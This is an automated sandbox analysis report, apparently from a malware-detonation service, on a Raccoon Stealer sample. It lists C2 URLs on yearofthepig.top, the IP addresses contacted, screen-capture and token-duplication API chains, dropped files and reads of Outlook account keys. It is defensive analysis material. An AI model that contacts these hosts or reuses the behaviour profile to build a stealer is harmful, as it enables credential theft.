Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.628016845.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d181
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644887582.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top/M
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top/P
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top/error.php

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 95.216.186.40:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.15:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.15:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.58:443 -> 192.168.2.6:49773 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_004266C0 GdiplusStartup,GetDesktopWindow,GetWindowRect,GetWindowDC,GetDeviceCaps,CreateCompatibleDC,CreateDIBSection,DeleteDC,DeleteDC,DeleteDC,SaveDC,SelectObject,BitBlt,RestoreDC,DeleteDC,DeleteDC,DeleteDC,GdipAlloc,GdipCreateBitmapFromHBITMAP,_mbstowcs,GdipSaveImageToFile,DeleteObject,GdiplusShutdown,

2_2_004266C0

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140, type: MEMORY

System Summary:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0041A4E6	2_2_0041A4E6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00436680	2_2_00436680
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040A7BA	2_2_0040A7BA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0042495F	2_2_0042495F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0042693B	2_2_0042693B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00436ACF	2_2_00436ACF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040AEC3	2_2_0040AEC3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0041AE8D	2_2_0041AE8D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00435576	2_2_00435576
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0043D521	2_2_0043D521
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040D5AD	2_2_0040D5AD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0041B83F	2_2_0041B83F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040B8C4	2_2_0040B8C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040DC7B	2_2_0040DC7B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00413FD7	2_2_00413FD7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0045A249	2_2_0045A249
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0044824A	2_2_0044824A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0044A210	2_2_0044A210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0045A369	2_2_0045A369
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004644EB	2_2_004644EB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004144A8	2_2_004144A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0042865E	2_2_0042865E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004187C0	2_2_004187C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00412930	2_2_00412930
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004889E8	2_2_004889E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0043C990	2_2_0043C990
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00414B7F	2_2_00414B7F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00442BF0	2_2_00442BF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0045CD9E	2_2_0045CD9E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00419003	2_2_00419003
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0044D028	2_2_0044D028

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: String function: 0044EE89 appears 50 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: String function: 00440070 appears 39 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: String function: 004677E0 appears 114 times

Source: unknown

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764

Source: sqlite3.dll.2.dr

Static PE information: Number of sections : 18 > 10

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627922903.000000004C445000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667229852.000000006E40B000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamenss3.dll8 vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667387034.000000006F412000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665158573.0000000003360000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665158573.0000000003360000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.664917070.0000000003260000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665458280.000000004B9C0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal92.troj.spyw.evad.winEXE@11/101@6/4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_00438121 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,OpenProcessToken,DuplicateTokenEx,CloseHandle,GetModuleFileNameA,_strlen,_mbstowcs,CreateProcessWithTokenW,CloseHandle,Process32NextW,

2_2_00438121

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_0042488A CoCreateInstance,StrStrIW,CoTaskMemFree,CoTaskMemFree,

2_2_0042488A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

File created: C:\Users\user\AppData\LocalLow\sqlite3.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Mutant created: \Sessions\1\BaseNamedObjects\uiabfqwfuengi(
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7140

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

File created: C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe

Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);<
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3.dll.2.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: sqlite3.dll.2.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Virustotal: Detection: 39%
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	ReversingLabs: Detection: 45%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 908
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 880
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 952
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1200
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1340
Source: unknown	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1316
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: api-ms-win-crt-runtime-l1-1-0.dll.2.dr
Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbB source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb) source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: ktmw32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb- source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb9 source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb?): source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb\t source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: api-ms-win-core-sysinfo-l1-1-0.dll.2.dr
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000006.00000003.336559037.00000000009AF000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.387887625.0000000000A3D000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.413748907.0000000000DEC000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdba source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbS source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb9)< source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000006.00000003.342466709.0000000004BD2000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422145190.0000000002F72000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb? source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdb% source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdbn source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
